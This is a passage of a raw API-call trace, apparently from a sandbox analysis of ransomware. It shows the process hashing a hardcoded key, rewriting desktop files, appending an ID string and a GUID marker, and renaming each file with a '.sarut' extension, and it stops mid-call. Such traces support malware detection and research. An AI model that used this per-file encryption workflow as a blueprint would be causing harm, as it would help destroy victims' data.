lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.097] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.097] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.097] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.097] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.097] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.097] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.097] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.097] CloseHandle (hObject=0x5c4) returned 1 [0268.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0268.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.100] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0268.100] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oYQm89fmHM2V.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oyqm89fmhm2v.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oYQm89fmHM2V.ppt.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oyqm89fmhm2v.ppt.sarut")) returned 1 [0268.101] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.101] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.102] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0268.102] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e08360, ftCreationTime.dwHighDateTime=0x1d4ca8e, ftLastAccessTime.dwLowDateTime=0xa77f9e10, ftLastAccessTime.dwHighDateTime=0x1d4d439, ftLastWriteTime.dwLowDateTime=0xa77f9e10, ftLastWriteTime.dwHighDateTime=0x1d4d439, nFileSizeHigh=0x0, nFileSizeLow=0x106cb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="plOBtmmjgx5C31gv7.mkv", cAlternateFileName="PLOBTM~1.MKV")) returned 1 [0268.102] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0268.102] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0268.102] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0268.102] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\plOBtmmjgx5C31gv7.mkv") returned=".mkv" [0268.102] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\plOBtmmjgx5C31gv7.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\plobtmmjgx5c31gv7.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.103] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=67275) returned 1 [0268.103] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.105] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x106a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.105] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.106] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.107] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.107] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.107] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x106cb, lpOverlapped=0x0) returned 1 [0268.108] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.108] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.108] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.108] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.109] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.109] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.109] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.109] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.109] GetLastError () returned 0x0 [0268.109] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.109] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x106d0) returned 0x311d708 [0268.109] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.109] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x106c6, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x106c6, lpOverlapped=0x0) returned 1 [0268.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.110] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x106cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.110] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.110] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.110] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.111] CloseHandle (hObject=0x5c4) returned 1 [0268.113] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5280 [0268.113] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0268.113] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5280 | out: hHeap=0x640000) returned 1 [0268.114] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\plOBtmmjgx5C31gv7.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\plobtmmjgx5c31gv7.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\plOBtmmjgx5C31gv7.mkv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\plobtmmjgx5c31gv7.mkv.sarut")) returned 1 [0268.115] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.115] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.116] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0268.116] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1701c0, ftCreationTime.dwHighDateTime=0x1d4c8e6, ftLastAccessTime.dwLowDateTime=0xe697d230, ftLastAccessTime.dwHighDateTime=0x1d4d1cc, ftLastWriteTime.dwLowDateTime=0xe697d230, ftLastWriteTime.dwHighDateTime=0x1d4d1cc, nFileSizeHigh=0x0, nFileSizeLow=0x483b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qW ivUaVqr_On1.avi", cAlternateFileName="QWIVUA~1.AVI")) returned 1 [0268.116] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0268.116] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0268.116] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0268.116] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qW ivUaVqr_On1.avi") returned=".avi" [0268.116] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qW ivUaVqr_On1.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qw ivuavqr_on1.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.117] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=18491) returned 1 [0268.117] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.119] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4815, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.119] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.119] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.119] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.119] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.119] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x483b, lpOverlapped=0x0) returned 1 [0268.120] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.120] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.120] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.120] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.120] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.120] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.120] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.121] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.121] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.121] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.121] GetLastError () returned 0x0 [0268.121] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.121] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.121] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.121] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x4840) returned 0x311d708 [0268.121] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.121] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.121] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x4836, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x4836, lpOverlapped=0x0) returned 1 [0268.121] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.121] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x483b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.121] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.123] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.123] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.123] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.123] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.123] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.123] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.123] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.123] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.123] CloseHandle (hObject=0x5c4) returned 1 [0268.128] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5280 [0268.128] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.128] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5280 | out: hHeap=0x640000) returned 1 [0268.128] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qW ivUaVqr_On1.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qw ivuavqr_on1.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qW ivUaVqr_On1.avi.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qw ivuavqr_on1.avi.sarut")) returned 1 [0268.129] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.129] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.130] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0268.130] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c885690, ftCreationTime.dwHighDateTime=0x1d4d368, ftLastAccessTime.dwLowDateTime=0x3f2cfbf0, ftLastAccessTime.dwHighDateTime=0x1d4d44d, ftLastWriteTime.dwLowDateTime=0x3f2cfbf0, ftLastWriteTime.dwHighDateTime=0x1d4d44d, nFileSizeHigh=0x0, nFileSizeLow=0x11c32, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Rboqf3f1pV5M.png", cAlternateFileName="RBOQF3~1.PNG")) returned 1 [0268.130] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0268.130] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0268.130] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0268.130] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Rboqf3f1pV5M.png") returned=".png" [0268.130] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Rboqf3f1pV5M.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rboqf3f1pv5m.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.130] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=72754) returned 1 [0268.130] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.132] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11c0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.132] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.133] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.133] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.133] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.133] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x11c32, lpOverlapped=0x0) returned 1 [0268.133] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.133] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.133] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.133] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.134] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.134] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.134] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.134] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.135] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.135] GetLastError () returned 0x0 [0268.135] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.135] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.135] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11c30) returned 0x311d708 [0268.135] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.135] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.135] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x11c2d, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x11c2d, lpOverlapped=0x0) returned 1 [0268.136] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.136] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11c32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.136] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.136] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.136] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.136] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.136] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.136] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.136] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.136] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.136] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.137] CloseHandle (hObject=0x5c4) returned 1 [0268.137] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0268.137] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.138] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0268.138] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Rboqf3f1pV5M.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rboqf3f1pv5m.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Rboqf3f1pV5M.png.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rboqf3f1pv5m.png.sarut")) returned 1 [0268.138] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.138] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.139] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0268.139] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: 